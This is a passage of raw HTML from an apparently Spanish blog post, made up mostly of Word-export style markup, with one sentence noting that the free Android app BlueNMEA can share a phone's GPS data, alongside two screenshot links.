<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-fareast-language:EN-US;}
</style>
<![endif]--><span style="font-family: "Calibri","sans-serif"; font-size: 11.0pt; line-height: 115%; mso-ansi-language: ES; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: "Times New Roman"; mso-bidi-language: AR-SA; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;">En el
caso de disponer de un dispositivo Android podríamos hacerlo con el software
BlueNMEA disponible en el Market gratuitamente</span>:
</div>
<div class="separator" style="clear: both; position: absolute; text-align: center; width: 100%;">
</div>
<div style="float: left; padding: 10px; text-align: justify; width: 21%;">
</div>
<div style="float: left; padding: 10px; text-align: justify; width: 25%;">
<a href="http://3.bp.blogspot.com/-iusJGfozpzM/URzLRvtYIHI/AAAAAAAAAWw/u1dbwXU1FqQ/s1600/gps_android.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://3.bp.blogspot.com/-iusJGfozpzM/URzLRvtYIHI/AAAAAAAAAWw/u1dbwXU1FqQ/s320/gps_android.JPG" width="179" /></a></div>
<div style="float: left; padding: 5px; text-align: justify; width: 25%;">
<a href="http://3.bp.blogspot.com/-bE2-gQqXhxU/URzLSUV8q3I/AAAAAAAAAW4/helvsDbTaPU/s1600/escupiendo_android.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="http://3.bp.blogspot.com/-bE2-gQqXhxU/URzLSUV8q3I/AAAAAAAAAW4/helvsDbTaPU/s320/escupiendo_android.JPG" width="179" /></a>
</div>
<br />
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<o:OfficeDocumentSettings>
<o:AllowPNG/>
</o:OfficeDocumentSettings>
</xml><![endif]--></div>
<div class="MsoNormal">
<!--[if gte mso 9]><xml>
<w:WordDocument>
<w:View>Normal</w:View>
<w:Zoom>0</w:Zoom>
<w:TrackMoves/>
<w:TrackFormatting/>
<w:HyphenationZone>21</w:HyphenationZone>
<w:PunctuationKerning/>
<w:ValidateAgainstSchemas/>
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
<w:DoNotPromoteQF/>
<w:LidThemeOther>ES</w:LidThemeOther>
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
<w:Compatibility>
<w:BreakWrappedTables/>
<w:SnapToGridInCell/>
<w:WrapTextWithPunct/>
<w:UseAsianBreakRules/>
<w:DontGrowAutofit/>
<w:SplitPgBreakAndParaMark/>
<w:EnableOpenTypeKerning/>
<w:DontFlipMirrorIndents/>
<w:OverrideTableStyleHps/>
</w:Compatibility>
<m:mathPr>
<m:mathFont m:val="Cambria Math"/>
<m:brkBin m:val="before"/>
<m:brkBinSub m:val="--"/>
<m:smallFrac m:val="off"/>
<m:dispDef/>
<m:lMargin m:val="0"/>
<m:rMargin m:val="0"/>
<m:defJc m:val="centerGroup"/>
<m:wrapIndent m:val="1440"/>
<m:intLim m:val="subSup"/>
<m:naryLim m:val="undOvr"/>
</m:mathPr></w:WordDocument>
</xml><![endif]--><!--[if gte mso 9]><xml>
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
LatentStyleCount="267">
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
<w:LsdException Locked="false" Priority="9" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
<w:LsdException Locked="false" Priority="35" QFormat="true" Name="caption"/>
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
UnhideWhenUsed="false" Name="Table Grid"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 1"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 2"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 3"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 4"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 5"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
UnhideWhenUsed="false" Name="Light List Accent 6"/>
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
</w:LatentStyles>
</xml><![endif]--><!--[if gte mso 10]>
<style>
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Tabla normal";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
